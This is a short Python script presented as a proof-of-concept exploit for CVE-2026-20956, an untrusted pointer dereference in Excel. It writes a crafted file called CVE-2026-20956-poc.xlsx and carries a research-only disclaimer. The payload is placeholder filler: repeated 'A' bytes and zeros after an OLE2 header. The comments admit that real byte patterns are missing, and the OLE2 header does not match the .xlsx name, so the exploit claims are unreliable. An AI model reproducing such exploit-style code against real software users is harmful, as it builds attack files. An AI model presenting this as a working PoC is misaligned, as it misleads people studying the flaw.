The following code is for security research and authorized testing only.
python
import struct
def create_malicious_excel():
"""
Generate a PoC for CVE-2026-20956 Untrusted Pointer Dereference
This creates a minimal Excel file with crafted data to trigger the vulnerability
"""
# Excel file header (OLE2 compound document)
header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
# Crafted data that may trigger pointer dereference
# In real exploitation, this would contain specific byte patterns
malicious_data = b'\x00' * 512
# Add specific trigger bytes for the vulnerability
trigger_bytes = b'\x41' * 64
# Excel record structure (simplified)
record_type = struct.pack('<H', 0x0209) # BOF record type
record_length = struct.pack('<H', len(malicious_data))
record_data = record_type + record_length + malicious_data
# Create the malicious file content
poc_file = header + trigger_bytes + record_data
# Write to file
with open('CVE-2026-20956-poc.xlsx', 'wb') as f:
f.write(poc_file)
print('PoC file created: CVE-2026-20956-poc.xlsx')
print('WARNING: This file is for research purposes only')
if __name__ == '__main__':
create_malicious_excel()